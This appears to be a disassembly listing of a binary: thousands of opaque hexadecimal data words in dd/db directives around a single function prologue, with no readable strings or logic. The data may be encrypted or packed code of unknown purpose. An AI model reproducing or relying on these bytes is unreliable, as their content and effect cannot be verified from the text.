		dd 406680BBh, 4A0646C8h, 0B05B5Ch, 0CBCF837Bh, 11FB359h
		dd 645C8BC6h, 0EC84F66Eh, 0E600F2ACh, 0ADA1C32Fh, 2CA754C5h
		dd 0A4DC3485h, 192010D4h, 50F15F1Ah, 6086AC60h,	0A94BB0E2h
		dd 690E8283h, 739785A1h, 2A4E44DCh, 0B0C85728h,	0BB9C1DDCh
		dd 0B33400A8h, 39FBF243h, 0AE312817h, 0B2CE5000h, 3E0E8BDCh
		dd 179F8E3Eh, 0FD30165h, 0F2222B60h, 9CA83F63h,	6D0144E6h
		dd 1392FA2Fh, 44307188h, 5500E94Bh, 8C98E570h, 490BFE20h
		dd 445BF8ABh, 1C1E8E78h, 0F3D8D900h, 6FA18510h,	0FDE0C05Fh
		dd 8A895CCAh, 5E0035B0h, 0A4F0F66Ah, 7F077476h,	0F9512737h
		dd 0F0616804h, 5C41C78Ch, 73B74EECh, 54DCFC6Ah,	7F59ECEDh
		dd 5F750060h, 0B921E02Dh, 0A6152401h, 3C94B435h, 985940D9h
		dd 99F63FDCh, 3D80842Ch, 8098AE2Eh, 0DE3D260Dh,	85176CBFh
		dd 6890BC95h, 366AA8h, 0FD757680h, 1B2DCF5Ch, 4E4240BEh
		dd 59405823h, 974D410h,	13C39AF6h, 0DBC0A040h, 14C063Ch
		dd 462B6148h, 14D08AC6h, 40FC9849h, 8705EFAAh, 0A1F3DC16h
		dd 88E5A404h, 0D7CE38C0h, 93740589h, 0D08C7758h, 6522D070h
		dd 0F6764607h, 3BF030F3h, 1BF1F09h, 4852A4D2h, 9798E74Eh
		dd 990B76A9h, 6374209Ah, 0B9F9A817h, 0C81F89F4h, 36882C10h
		dd 837E3215h, 7B2300B4h, 3C82679Dh, 862400D1h, 0BA88AB0h
		dd 4D657285h, 1C815440h, 84039AC1h, 4CC503A2h, 19F3F005h
		dd 42611487h, 4878F654h, 6C18CCC9h, 83805933h, 4C0B00C9h
		dd 6AB6EABCh, 0A40E1F6Fh, 83A737B5h, 64FDE51h, 9A3D029h
		dd 98A04045h, 0F8831914h, 884D320Dh, 5C812349h,	0A0433AF8h
		dd 7F645A4h, 9C2FABF2h,	0D7B23026h, 8D0677ACh, 57FB4E8Ah
		dd 50908CA6h, 0A0089CF8h, 2E0BFA90h, 25E0B23Ah,	0E56414AFh
		dd 4148E0FEh, 0FB01E292h, 19AA55B7h, 5C24FA48h,	7014602Eh
		dd 9A3A84F4h, 0F851B0C0h, 175FA8Fh, 81BDA9DCh, 0F9994A0Eh
		dd 8A5424BCh, 0C1A15A02h, 0D3F28E74h, 6491290h,	1043461Ch
		dd 338BF701h, 5AEA427h,	2C5E47E0h, 221C15B1h, 6C6058D4h
		dd 601D4F17h, 6A54CE0Ch, 0C64D4Ch, 7DD16D02h, 3051C53Fh
		dd 5D386080h, 3D3B28AFh, 0D26E18DCh, 691D8ED0h,	2489EC27h
		dd 0F4831853h, 0A44E737Dh, 8415CACh, 901E7820h,	0A56CBB30h
		dd 38162464h, 0A0D49227h, 531258A2h, 0AB9000D5h, 61A65FBFh
		dd 54000D49h, 2B405C08h, 48E3398Eh, 0D52D2C80h,	0E515C96Fh
		dd 1028545Ch, 471E6041h, 4F48560Eh, 0B18984C4h,	1D045872h
		dd 0F6A0D146h, 0B73C44B7h, 6C556A8Ch, 0E07D128h, 0D476444Eh
		dd 816A385h, 0B46F9C02h, 7BA40077h, 45F8782Dh, 39D5500h
		dd 0D7F6582Ch, 0A6F0C373h, 0B87A9AA7h, 31449496h, 2A3D9C80h
		dd 46882869h, 558520F4h, 639EE3Ch, 8B368025h, 5D7F7Eh
		dd 986BF51Fh, 0C68326B8h, 4C5FA375h, 20E4F824h,	0A12C92E5h
		dd 43C2F3E0h, 9371A95Ch, 9A7ECFFCh, 0AFAE079Ch,	0DB1976F1h
		dd 0EF7BC82h, 2509C4E6h, 727B877Eh, 338517ECh, 0E01C89B1h
		dd 0A488BC6Ch, 0B08E07C8h, 0A5DBF1ADh, 0E2A4F055h, 446F5118h
		dd 4B6A2F70h, 3020138Ah, 7488F6FCh, 97174390h, 0D010BA9Fh
		dd 79191208h, 8428D0D6h, 90432C9Ch, 15B3C29h, 0EE5AFB98h
		dd 0B0312A8Fh, 5823EFF6h, 5613D848h, 60FCCD0Dh,	0B24A6A4h
		dd 0A00038E3h, 93537652h, 79772637h, 26B58024h,	0BB85E449h
		dd 6E76E90Fh, 5D01DF7Dh, 8C14FF4Dh, 0F2DB5FE8h,	38A80060h
		dd 205A4765h, 240379A0h, 2D4D6821h, 287C4Eh, 0C2DCC91Eh
		dd 8478CF01h, 9A799C0Fh, 0B8C88E58h, 7758C58h, 0C20C76EAh
		dd 8AD88CACh, 9FBB1506h, 75508926h, 0CF828070h,	5D1FB40Eh
		dd 0B014A044h, 304D57D9h, 2A2003CEh, 0EF036891h, 0F6A53150h
		dd 0ED601E4Bh, 17D13B0h, 9A8030F2h, 3B58863Ch, 40102EDBh
		dd 0A561853Eh, 9C876D38h, 0C7850B8h, 255D4D88h,	78704410h
		dd 206F9279h, 0A27B01C0h, 0C9804F99h, 380B46E3h, 0FEF81EACh
		dd 8648CB13h, 0A5478203h, 30289E05h, 760850FFh,	901EE02Ch
		dd 56806A85h, 573E7C33h, 0E2B7CF4h, 0FA8C99F0h,	780A3F4Fh
		dd 82020508h, 76A0734Dh, 4B48A3C0h, 0F90E4403h,	0C87D8885h
		dd 68B300Bh, 69A75B9Fh,	8D273076h, 8503E040h, 0CD2E1DF1h
		dd 0B1E90788h, 83000E46h, 0FF5004E8h, 9E24743Ah, 0DC3A8F58h
		dd 61086E76h, 0DBBE9E0h, 0D7092E87h, 611B835Ah,	8268100Dh
		dd 0B4E80A6Ah, 0C4818003h, 0E0C20441h, 0E87406Dh, 58C12133h
		dd 8306E940h, 893304ECh, 0D1E7603Ch, 0F0064DCh,	0E15E2F8Dh
		dd 0EA0E22ECh, 4FC377FEh, 7810D089h, 58030ED7h,	83241C8Bh
		db 0Fh,	6Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
; ---------------------------------------------------------------------------
		db 0FEh, 58h, 0EBh
		dd 668503Ah, 5C360556h,	520D7B58h, 3E69DFE9h, 298BCDE4h
		dd 3B56240Ch, 4162C51Ch, 0CCE95BE8h, 2D4C81D6h,	54657F79h
		dd 522434DCh, 0B011A5Eh, 23850FC0h, 5010801Ch, 93BA5256h
		dd 43610053h, 8108E2C1h, 0C626CCC2h, 0D614BD25h, 759231A0h
		dd 0E07122EEh, 32F19694h, 79A01A4h, 9B13CF68h, 43FA8910h
		dd 5829032Ah, 54500F1Bh, 0ADBF5721h, 0E913F815h, 839FA554h
		dd 8704EA0Ah, 6861F414h, 1FA252E5h, 0E9FCFDCFh,	776367E0h
		dd 0F54072EFh, 14FF8B8Fh, 573E3605h, 0C489998h,	50C58B66h
		dd 1006EC81h, 314C2C89h, 0D8138780h, 24B7BA5Bh,	1422B168h
		dd 0C608E682h, 1806C8CCh, 515C2287h, 0F9B4500Ah, 660DFC88h
		dd 0EA0397DAh, 1800F83h, 0B3C18159h, 0D4D3C6F0h, 51C0A213h
		dd 272ADEBh, 5CCBEC04h,	47308557h, 0E249A418h, 0B9511B00h
		dd 6C1D45C9h, 4CCB6031h, 38561FC3h, 0DE018E12h,	0DE204015h
		dd 0D4F0F0DEh, 40D0E955h, 9000B8ABh, 48449F2Ah,	432500Dh
		dd 6CE9395Ch, 19361403h, 8B0C58C7h, 0C059BA45h,	5424660Dh
		dd 342135E9h, 736F86BFh, 0E2A089FEh, 801C2FB6h,	0F31DA8EBh
		dd 387FC35Dh, 0E7A8755Ah, 7F639EE9h, 0C151FEA7h, 9A43EABAh
		dd 0DEF3F787h, 570E1FE8h, 9A858C54h, 0A9FC5D2Ch, 5C0C6C65h
		dd 7C768110h, 0D3FB3A24h, 0F4AF181h, 22806C5Bh,	5532ECDh
		dd 0E912CB29h, 114E8FA6h, 83DDE650h, 2A5A600Eh,	1B6019BCh
		dd 0A7A8897Ch, 9741B6E9h, 985EAA41h, 0CFE14003h, 4400238Ch
		dd 0E009D38Eh, 0FC30158h, 24608840h, 0C8E4031Bh, 0E8141F24h
		dd 10660E95h, 580717A3h, 0F553C229h, 0F7D34450h, 94B383DDh
		dd 0C28E7F0Ch, 6FF3EB61h, 35525B5Fh, 806F644Ah,	7FC6BF64h
		dd 0E9453406h, 0FBAFA698h, 0D5FAEC09h, 0EAA999A3h, 0F0A82D3h
		dd 0A033918Fh, 0F95CBF91h, 1EC094Ch, 3A005FFDh,	455B0EEBh
		dd 31E9333Fh, 8BB62A82h, 0CC09D9DCh, 9C5ED20Eh,	0AFAAE5F2h
		dd 69CEFC8Ah, 0D087F024h, 0A4A7E9EAh, 0B850109Ah, 1601BCF3h
		dd 0A6519D2Dh, 0F730D128h, 573F4138h, 1B4E83D1h, 2412114Dh
		dd 68043B8Bh, 49CC7F2Bh, 64A449E9h, 6214BD24h, 0C090712Eh
		dd 41820C0Eh, 55804CE5h, 0EF4E58B8h, 190FBA0Ah,	0E6F6D922h
		dd 481E3153h, 2038164h,	26D06857h, 4591E155h, 4CBE33D2h
		dd 8B599A09h, 56CC383Ch, 7DCA6BEh, 0AA0160C7h, 85F73738h
		dd 5E080CEFh, 15A80252h, 24055C63h, 0ED52E91Ah,	0F488D906h
		dd 0DECF34BEh, 2C968810h, 6CDA83h, 5E6C146h, 2CF6F74Ch
		dd 0F6406870h, 60AD57C4h, 42CF5E13h, 44A227D7h,	1E5E0806h
		dd 37F2730Fh, 0D5F8EC4Bh, 0DD618283h, 0FE5E051Dh, 61DA940Ch
		dd 0A790AC5h, 10BC0C60h, 83265411h, 336602FCh, 0C30631A8h
		dd 2317E90Dh, 9D5F2824h, 0D328D501h, 41DA010Eh,	5A84F932h
		dd 91042966h, 9DD28C33h, 12925814h, 66556940h, 0E93B8DBDh
		dd 5876F420h, 3F816F37h, 0ECFC27F9h, 0B6929634h, 1520D977h
		dd 0B830C432h, 77FF0036h, 3A669D1Ch, 73E4D259h,	9BB65053h
		dd 0D788D08Ah, 0D3734968h, 7C7AFD49h, 0EEE858FDh, 32045BB3h
		dd 0A80FE9C3h, 0C0B6091Dh, 81062509h, 5C5C6521h, 4668827Fh
		dd 0F14BC651h, 0E90E48C2h, 2EEE6997h, 30DA0333h, 6852EB48h
		dd 17674531h, 8C668C0Ah, 985D3179h, 90F53095h, 800FFA38h
		dd 0F00972ECh, 0C87F422h, 0D22A1F64h, 0CC20873Ch, 0DE890ED1h
		dd 8160F75Bh, 0AA598FCEh, 30DE4648h, 58E69305h,	0D8C53680h
		dd 0F5785406h, 0E926ED75h, 29806A31h, 0E2815DEAh, 0CE371872h
		dd 7A360C01h, 74A3E3Eh,	82004F2h, 0E9D5A10Fh, 38966671h
		dd 0CF22C8Fh, 82014580h, 15F76840h, 0A670163Dh,	569DADF6h
		dd 3341148Ch, 5D01FAD1h, 0EF00732Eh, 0CBBB5306h, 51480D73h
		dd 338060C7h, 6909E974h, 421AF8DDh, 89521081h, 45CD37E2h
		dd 61716206h, 0F41DE9AFh, 3D684286h, 7190853Ch,	9E297A98h
		dd 0BD82F794h, 0C0AF0DABh, 885C2A2Dh, 13247FC1h, 940DB030h
		dd 67434CEFh, 4A79F20Fh, 4D7C121h, 0B2FE8BE4h, 0C3C6077Eh
		dd 0B14751B9h, 8149D088h, 0CFBEEF4Fh, 9640E6AAh, 477822h
		dd 4B41B803h, 0F8315918h, 1AE95F16h, 20686D43h,	24A52E58h
		dd 6F544E74h, 7FF1F310h, 8A56E739h, 8CC681E6h, 3432EE64h
		dd 0B481FDE6h, 55BE4310h, 0EA07BE2Ch, 437A2D03h, 0E3F6017Bh
		dd 53841623h, 0FAEB6089h, 42B54C41h, 263288A4h,	0A2F75240h
		dd 20EA64BCh, 314D19F0h, 57CF54D2h, 7513A8D2h, 11685537h
		dd 0A567173Ch, 0B5C08B35h, 9982BB84h, 887BB416h, 95647185h
		dd 3481591Ch, 680285E0h, 0A9863189h, 0A40B8444h, 1016AD07h
		dd 5442E91Ch, 71ED947Dh, 0A1680F37h, 11ADE889h,	0FC4E4057h
		dd 75BAD23Dh, 0E112F709h, 8F20406h, 14EE580Ch, 0CB513381h
		dd 10AC9D5Ah, 162013CBh, 7ED51DAFh, 0A848826h, 0C8EA912Dh
		dd 539288A5h, 3E87BE00h, 16891C38h, 23348BF3h, 46C68104h
		dd 13A1D0Dh, 83754ADFh,	168BC03h, 5B6C2A82h, 6006EBC1h
		dd 0F2840184h, 0C30E06FBh, 0D0F32925h, 0E95E0880h, 0F4059B4Ah
		dd 14918B54h, 3B9D4195h, 94A741C6h, 0F4F789F3h,	8AB96DECh
		dd 0B903F268h, 98696334h, 0B18651E9h, 0F6ED0034h, 17BC43Dh
		dd 3945DD5Ch, 78968179h, 4E0C148h, 1003E8CCh, 282369E9h
		dd 0D030AE66h, 2EC56B4Fh, 6905125Eh, 4835CA5Ah,	6BDD912h
		dd 2FEF992h, 77508922h,	40D8F602h, 805B372Ah, 0E930B224h
		dd 0D3F72F13h, 7BBA0352h, 31DE9FABh, 87DD4C5h, 0C1804E87h
		dd 6838AE26h, 8E0F0A41h, 1D9DD0FBh, 2D8CC549h, 9FFAD1D4h
		dd 39813271h, 0D54C0C3h, 6BCA685Dh, 0B81942BDh,	0C52C6AE6h
		dd 433EDD58h, 3962E086h, 3968E60Ah, 1A402376h, 390D8522h
		dd 884D0F7h, 0C1341910h, 82883755h, 18FD2D2Ah, 45F883C8h
		dd 0B414285Dh, 0F20438B5h, 531DF83Bh, 0E80FBCB3h, 51C4D828h
		dd 708A81B1h, 0C28164DBh, 547CEB0Fh, 6EBA654Dh,	60E97B97h
		dd 134C880Fh, 0A590187h, 42812EA4h, 0BA009CEAh,	7A98721Dh
		dd 3A844977h, 0B7F2D02h, 0A18F2C81h, 0FA551C6Ch, 5174B96h
		dd 370CD220h, 0D3D75089h, 2613041Eh, 55D6292Ah,	2AE4894h
		dd 59817567h, 6EE5E197h, 24D3533Dh, 138586FAh, 0CDE920C1h
		dd 0C544647Ah, 681B55C2h, 0FC4EB4F1h, 0C3885D73h, 9E8CC84h
		dd 5B3B115Fh, 0E229C825h, 0F653444Eh, 816A9050h, 437A88E6h
		dd 6B749A49h, 178A03B5h, 0C3E62D8h, 0C708E5ADh,	97F1A520h
		dd 691C9D8Bh, 6B44CD96h, 8C1E71BBh, 3314D990h, 0D9F50C4Ch
		dd 3B396FFEh, 0BFC08138h, 0FA9B3991h, 5D0FFC18h, 0C105D004h
		dd 202FF78Eh, 1E969B8Dh, 0E71C928Eh, 0FFB12D76h, 0C3407557h
		dd 0B9969C0h, 4BEEE96Eh, 0F40204A9h, 110BD55h, 835D39EFh
		dd 16D2F7CCh, 282918h, 3DB551ACh, 0F8EA8831h, 2D00D662h
		dd 7E056DC8h, 5E8294Dh,	5E1E0713h, 5541AFECh, 6135663Ah
		dd 0FE590776h, 8734FF0Ch, 1870F59Ah, 0DA682A09h, 12696438h
		dd 588CE951h, 0C8FDEF5h, 104F307h, 72E45AD3h, 0ED6211A1h
		dd 7F95F519h, 840C28C1h, 5317F66Ah, 6FCE3E01h, 88D2B1BEh
		dd 684851EEh, 14919386h, 0C7329688h, 9EDEC99Eh,	0E2C03024h
		dd 0C1660407h, 378407E6h, 0EA807A97h, 59DAF708h, 0FF36E352h
		dd 3520EE2Ch, 0F1310586h, 4CE295Eh, 18ECEECAh, 201693D0h
		dd 0C5186F7Bh, 0F6924A08h, 0A64D992Ah, 0FAA92289h, 0B65625Eh
		dd 624BCC61h, 5A201038h
		dd 835A6D31h, 21280706h, 51150CD0h, 90B8E189h, 0A10B9706h
		dd 0E11E915Ch, 502810DAh, 68E95509h, 99E3C454h,	225F171Dh
		dd 3158E4ABh, 1C87B907h, 0A02A6051h, 0E905ADA4h, 5DB4809Ch
		dd 530E4AEEh, 0D05F1C66h, 5C32507Dh, 763380Bh, 0A55F0045h
		dd 2F89CC7h, 0E95DEA89h, 4B656A7Bh, 8D62BC28h, 49CB20Bh
		dd 53D8029h, 0EF773531h, 2DD80114h, 895B0107h, 7FD4E9C2h
		dd 81D2E568h, 2822E660h, 207EA61Fh, 5074D0Fh, 61423A8Ch
		dd 493B22A2h, 1730D8D7h, 5203E769h, 7F7077F2h, 0E6D1661Fh
		dd 0A9440E8Ch, 0F2464C9Bh, 0E68A1685h, 0C7E9C231h, 0B9FC5B9Eh
		dd 0C114D312h, 3CB5676h, 0DB0DF02Dh, 0C801144Bh, 0F8500705h
		dd 25B0B2E2h, 742033EFh, 1267C5A2h, 0D8F5893Eh,	0C1334A4Fh
		dd 0A4B2C756h, 2727984h, 50616859h, 2C943D66h, 685753E0h
		dd 0DB6513ADh, 833CA6Ah, 242DF3E9h, 80C2005Ah, 0EDC0F2CDh
		dd 0CF34067Eh, 0A2F39E8Eh, 33260642h, 6311B38h,	685C0D05h
		dd 6BCD5098h, 4F220E74h, 1BB312Ah, 0B068001Eh, 66A4B64Ah
		dd 169A7ADDh, 0A04EE280h, 6641A994h, 0EC39B30Fh, 21CA417Dh
		dd 9A58A53Dh, 23E5E8B7h, 805A806Ah, 0A57AC33Ch,	0BB6780DDh
		dd 4E5C4D3Ah, 404C1772h, 223FF0B4h, 0D67E92Dh, 0BF0B8CDh
		dd 28090635h, 93AA58C3h, 50B81710h, 9C1A9B03h, 0E145B016h
		dd 0F6FE018Bh, 754A03EFh, 0E485F7Eh, 0EA338A86h, 2406311Bh
		dd 138B5C0Dh, 0EB39D126h, 3CB90175h, 72001C33h,	11B4743h
		dd 9749E9F9h, 555B128Bh, 970C5E25h, 31513390h, 0D94E5954h
		dd 90790713h, 8028F7C3h, 7D1ED5BEh, 19967F23h, 0E6C0F9C1h
		dd 1B141138h, 83C096Bh,	0C5BD8593h, 66B480B9h, 0F827685Eh
		dd 0A3B01913h, 3C5B2D3Ch, 924DE991h, 0AB82AC9h,	0A120D31h
		dd 0F1C8DE88h, 5060BC5Ah, 0D00ED1F6h, 0C7D986E1h, 4C4E30D3h
		dd 398008CBh, 0BB2E9FE9h, 3D77A4ECh, 0D496D72Fh, 2F4DB139h
		dd 12641A97h, 9657F234h, 2C505101h, 84AA4DD6h, 0C5400677h
		dd 0CDEDBE99h, 0C19CF790h, 93EA8007h, 0DFE04D84h, 58C13C29h
		dd 0B4579670h, 57843246h, 5C0FCF50h, 335EF501h,	7088A617h
		dd 7C4BAE2h, 0BA1AC2B9h, 74ABA23Dh, 0F6F4F164h,	56F8E6B4h
		dd 13D17288h, 5A59CBh, 25C6806Ah, 7AB609E9h, 5F075F3Dh
		dd 65B4E128h, 1E2C54E0h, 0DD9804EAh, 247DBAE8h,	88ED5E10h
		dd 0A66F5A29h, 3B88E3CCh, 5AF31EB3h, 81AD4F70h,	9C3848E1h
		dd 0A5D1E114h, 0A5FB2F10h, 22DD4D32h, 115EAFDh,	3E4F2E81h
		dd 280C800Eh, 899BEB7Ah, 53BCC8CEh, 0FED95017h,	0BD363236h
		dd 0F417604Bh, 11053538h, 0C6300CF0h, 7CEE5B53h, 960DFE22h
		dd 0EDC94B74h, 174932FEh, 9C65C857h, 0CA82A0C5h, 0B46F50ABh
		dd 9B118889h, 1DFB6E31h, 2D68F710h, 1303502h, 44525FFAh
		dd 415A58E3h, 0E46A2785h, 5D74F912h, 0CE815900h, 67251F49h
		dd 0A9DE48F7h, 0ADAE004Ah, 5768D831h, 841F68E3h, 0E2E120E9h
		dd 307A1423h, 0DF257AA7h, 6E94515Bh, 0BB00BECAh, 67304B94h
		dd 18785FE9h, 0DEBAA6C7h, 0F8E0B17h, 9C51C40Ch,	5C55EEAAh
		dd 330D84Bh, 0BF1A06A2h, 1B24704Ch, 0FFF53D92h,	607C6702h
		dd 0D2B884EEh, 0C38E0371h, 80DD164Eh, 0F11BDC90h, 2EE92F09h
		dd 4C255287h, 9E106FEBh, 7E680A69h, 82405776h, 2A0CC167h
		dd 94B293E9h, 0D668896Dh, 5599DB46h, 0C0A5E08h,	237ACCFEh
		dd 5DBE649h, 0E288DAF4h, 0E30131F4h, 0CF315E00h, 0F853E0B6h
		dd 4BDFE9FDh, 68D82035h, 379E6FD2h, 78636A6Ah, 0F0392815h
		dd 107707A0h, 89290AF6h, 80F7FB02h, 8C02145Ah, 8B3CAF2Eh
		dd 4E4C3A04h, 19C2E6BCh, 0D7F700F8h, 83DE7C1h, 2F87B04Fh
		dd 26B49B05h, 3548597Bh, 579C4959h, 0F824B766h,	9AC6C55Fh
		dd 8B899B7h, 310B18BBh,	30602F3h, 2CC99B69h, 4A49E993h
		dd 71060B7Fh, 0D17F88C6h, 0B6AD3A68h, 171543h, 5550E125h
		dd 6A63DBBDh, 0CD816900h, 36A7165Ah, 0EF0EC045h, 0F5BFB3Fh
		dd 0E9C98019h, 8EDC4D46h, 4ACF5FD4h, 39A7063Bh,	0E8E95706h
		dd 809019F0h, 6E431017h, 52857501h, 5730354Ah, 4E5A8288h
		dd 0A6F1F73Dh, 96A40708h, 0B4C15417h, 0FF22E528h, 79656809h
		dd 0C24B1373h, 65105471h, 0DE05F230h, 8852C3C0h, 4ABB53C2h
		dd 0A0128828h, 5EA60E0Bh, 62B54A01h, 4214AF34h,	54585FFBh
		dd 0CB496F11h, 0FB62F40Bh, 0DB939963h, 81E4D1C9h, 880F4012h
		dd 0EF5160BFh, 5A03785Bh, 4C0803Fh, 59CF01E8h, 0D3082E99h
		dd 513A48D9h, 82166A82h, 0A57922E1h, 597C147Fh,	7886F850h
		dd 0F89484FCh, 0E3B252C0h, 0D4C20580h, 0D865C568h, 2F40742Dh
		dd 0ACE4A152h, 1CC1F834h, 0C38105E3h, 172F1B34h, 9DC0124Ah
		dd 5CB43B80h, 2D20AE77h, 0A84B295Bh, 0C615AF76h, 1C0AC573h
		dd 8352F6BDh, 0C1E5D16Bh, 0ED9B0593h, 0F489E29Ch, 79F83690h
		dd 59DB28F5h, 6D2B03C7h, 0CD292F42h, 499906CEh,	1420A22Ah
		dd 685C091Dh, 45C66C39h, 0F383E231h, 59E169B2h,	0C9811180h
		dd 64EC7735h, 0A3820F09h, 97672D4h, 76EEFB75h, 126EC744h
		dd 90ADCF61h, 8753661Ch, 0B34636BBh, 1607301Eh,	0C1FE21B1h
		dd 71FBFC92h, 0A19C2277h, 70E45D5Ch, 0A1E2A82Ah, 0E1C1A86Dh
		dd 1579002h, 0C51B3F1Ch, 205BD931h, 0EE4FE91Eh,	60C4FF12h
		dd 0E91333CBh, 0AD1B49D6h, 374F2185h, 508E80FAh, 8B7876C6h
		dd 298599B4h, 0CE0F59C8h, 5744F63h, 7002DD8h, 6AA56856h
		dd 0A5664C30h, 28C1CF3Dh, 0B2C8A489h, 517402Ch,	71104A0Fh
		dd 0C4994631h, 5DEF13B7h, 81A40147h, 0F01088CFh, 0EBEF4F04h
		dd 0ACE0E7E2h, 0CFA1FE29h, 92962C4Dh, 0CE9EC521h, 29ED8100h
		dd 2A460F17h, 5D31108h,	911F4B68h, 5713F68h, 0CDC50A13h
		dd 8CE26394h, 0B4D02185h, 41D27BF5h, 8571100h, 4A2112FAh
		dd 36D3C0F7h, 6040324Dh, 459AB05Fh, 0BA3E8043h,	1E835A54h
		dd 40E7B855h, 0EE0B8026h, 84F3283Fh, 3000F972h,	0B25866E7h
		dd 0FA4EF170h, 17806FCCh, 13C01FE2h, 0D5D08D4h,	50B65A34h
		dd 74D0BB00h, 0DBF72972h, 8F35B8B0h, 27091D12h,	2B08715Ch
		dd 2C310814h, 207F3708h, 2648257Dh, 0D2F03A19h,	836E3B74h
		dd 0C01B68BAh, 0C674EB81h, 10D3011Ah, 0DD5AC344h, 668C414h
		dd 0CCBE9807h, 0F026AB6h, 66FD6785h, 6984E99h, 25FEE901h
		dd 11A39990h, 440DF93h,	0ED073CBDh, 6B2D9673h, 4112B312h
		dd 0AC046E46h, 209319BCh, 8E60CAF3h, 169EA5h, 3F2B40BFh
		dd 11B45704h, 4752D3Fh,	0EFCCBE4Ah, 0D45E4AF2h,	7C43C921h
		dd 0E2C4DC38h, 45B0F1E9h, 0DB199D87h, 10632901h, 2D0EC2F4h
		dd 616F68A1h, 2424D8CAh, 0DBE146Dh, 0B4754948h,	0CF52E704h
		dd 295DB172h, 7B588968h, 2CC81682h, 84CC5678h, 0FBE0D36h
		dd 1F610C5Dh, 832A3469h, 4358011Dh, 0EA016769h,	83803E4Ch
		dd 10A1EA81h, 250E835Eh, 0F8D8E0DAh, 5C315AD7h,	972556F8h
		dd 0B2CA0A1Bh, 0E70511E4h, 70D839F3h, 1A4CDF1Fh, 0BC6E71Ch
		dd 3E485527h, 3BA92A82h, 4D500C80h, 50B815D7h, 0DD6C350Fh
		dd 25E5802Ah, 0B2216B0Eh, 0BF5F220h, 65169068h,	31A41A00h
		dd 1763B07h, 2D0846D0h,	0CF06025Dh, 7182095Bh, 5801647Ch
		dd 3839C201h, 89085512h, 86343BEEh, 0C6F3BE75h,	9211D140h
		dd 49E1901Dh, 0D5849C76h, 1590369h, 0C44C1EBh, 0BAC05B28h
		dd 41561C42h, 5F20B3B8h, 5EE98E2h, 3CC26152h, 2913C131h
		dd 0C2B332F8h, 59536A68h
		dd 73028847h, 2DD0F700h, 7C51A418h, 0C76C3387h,	7850D35Ah
		dd 0C14FA64Eh, 2280FA35h, 76785A21h, 2884FB40h,	0E06EE958h
		dd 76908330h, 0FE494CF0h, 638A13DEh, 0E8BB021h,	0B5BE4451h
		dd 797349D0h, 5BDD1355h, 18F61629h, 0C14EBB90h,	4202EE27h
		dd 0EFD70096h, 13088A50h, 898497E9h, 7535E12Fh,	0A8023EA3h
		dd 6042DAF7h, 2D67307Fh, 8C8B9D3Bh, 80B6FCC6h, 0D12EA6C2h
		dd 0A1C6277Dh, 414CFBB9h, 38542668h, 131C6FE6h,	0C5906108h
		dd 1818557Bh, 55585349h, 9AEA5462h, 1E400797h, 5A920E9h
		dd 1C50B8F2h, 32408C4Fh, 18669905h, 51874C5Fh, 3D54AD90h
		dd 0C54E8134h, 29136DCBh, 3A5815F5h, 56A8834h, 0A28480D6h
		dd 3A444CA2h, 268BD264h, 53ACB0C0h, 0F0D18116h,	7A2C6AEAh
		dd 0F8EC959Fh, 6E685000h, 5807092Ah, 0BB00B4BBh, 6DD13660h
		dd 3E325C1h, 46339C2h, 524A8973h, 0BD00D4CAh, 51B60D74h
		dd 8D190F45h, 0BC9B2822h, 26509649h, 1EC07B83h,	82DEF756h
		dd 0E8015AD5h, 59450CD9h, 510750C1h, 8BCE312Ah,	3E412E33h
		dd 923FC8F6h, 41C3B730h, 0ACD60331h, 181453Eh, 23EF7552h
		dd 0C1E1F901h, 585F0842h, 6316D5Ah, 11F9230Ch, 0FB103CD3h
		dd 0D21B65BFh, 0C0EF0588h, 0A8685119h, 4A583059h, 0D2452C84h
		dd 5B1E24A7h, 207F48ADh, 4A07E18h, 6BAA2968h, 0B0D200C3h
		dd 0ED48C2D2h, 4D19C477h, 536D52CDh, 6601E59Dh,	6C1C5F09h
		dd 9BE9A103h, 0C168A984h, 5755CC73h, 7A00A9F8h,	0B5B93C93h
		dd 195F58A7h, 0A565D7E9h, 4A88F066h, 0C11E01B8h, 415B55C3h
		dd 0C0E1C805h, 3E1DC530h, 0CB9381E2h, 0D8207459h, 29221D7Eh
		dd 1A11D8C3h, 5800027Eh, 53C0B70Fh, 2DE9E389h, 0E6A43C9Dh
		dd 273BE84Dh, 4D81A5Fh,	310974ADh, 6480FAC0h, 7087C7BEh
		dd 0C41F4C51h, 7CC05DEBh, 58A83C05h, 0E600A925h, 0C17FB745h
		dd 0CEE403E9h, 81D9814Dh, 46057998h, 5830D486h,	0E904AACEh
		dd 723D675Ah, 9CB45BC8h, 3B243B99h, 378409ACh, 7C741669h
		dd 0C4FE026Eh, 0E305ECC0h, 9559385h, 3BCC8022h,	0A86C8404h
		dd 0C9C0974Fh, 4A69685Fh, 0A3343070h, 30E32832h, 6F12C409h
		dd 76001CF8h, 1914A1Bh,	9094EE9h, 0CC485909h, 0F1830BC5h
		dd 9A695DD3h, 17897A04h, 0D5B9F1EBh, 0DA68026Eh, 29089822h
		dd 3A529A6h, 5F6572A4h,	54207A04h, 478314D1h, 0C93483A6h
		dd 5A31F501h, 45E0803h,	30A4BB1Eh, 0EC6FC305h, 0E7C0990Eh
		dd 6EF6002h, 0E024F780h, 585B76FAh, 0D02671EAh,	0A052C7F0h
		dd 0F6A7B050h, 80D8C9FBh, 88752C08h, 0E68058C7h, 78D7FC01h
		dd 0B4502EFEh, 0F13B133Dh, 145C3D59h, 0D3B0737Ch, 0E49149A2h
		dd 0B7924212h, 2AF8412Eh, 6B913474h, 1F605D58h,	0A503B96Fh
		dd 292D888h, 19176EB1h,	0BCC61F40h, 62D54709h, 75E5F04Eh
		dd 822602F6h, 12A5E939h, 793D1D0Ah, 9AEB0C94h, 31104122h
		dd 581BE17Ch, 0D2C4CE33h, 2A4976DFh, 97293E5Fh,	0FA84483Dh
		dd 879A55Fh, 84BB502Fh,	4936536Bh, 150744D2h, 5B06C119h
		dd 0CA84D960h, 0FE5E6366h, 58983D1Ah, 2690DE29h, 5DEE0888h
		dd 0E56A4E99h, 2E056885h, 0DF01DB35h, 6BAF18CFh, 81FE80E6h
		dd 5CAB4BEFh, 0A172FA48h, 0E329C517h, 0F07ED94Dh, 8008A22Ch
		dd 545302F7h, 593FFA5Bh, 0F46F41F3h, 0AC4537A4h, 82E2C5EEh
		dd 5DC98AACh, 25A4AC11h, 0A76B3869h, 13E878E4h,	0FEEFF40h
		dd 674F0EE0h, 5506F89h,	91DD212Eh, 0C0347C16h, 0D67F1781h
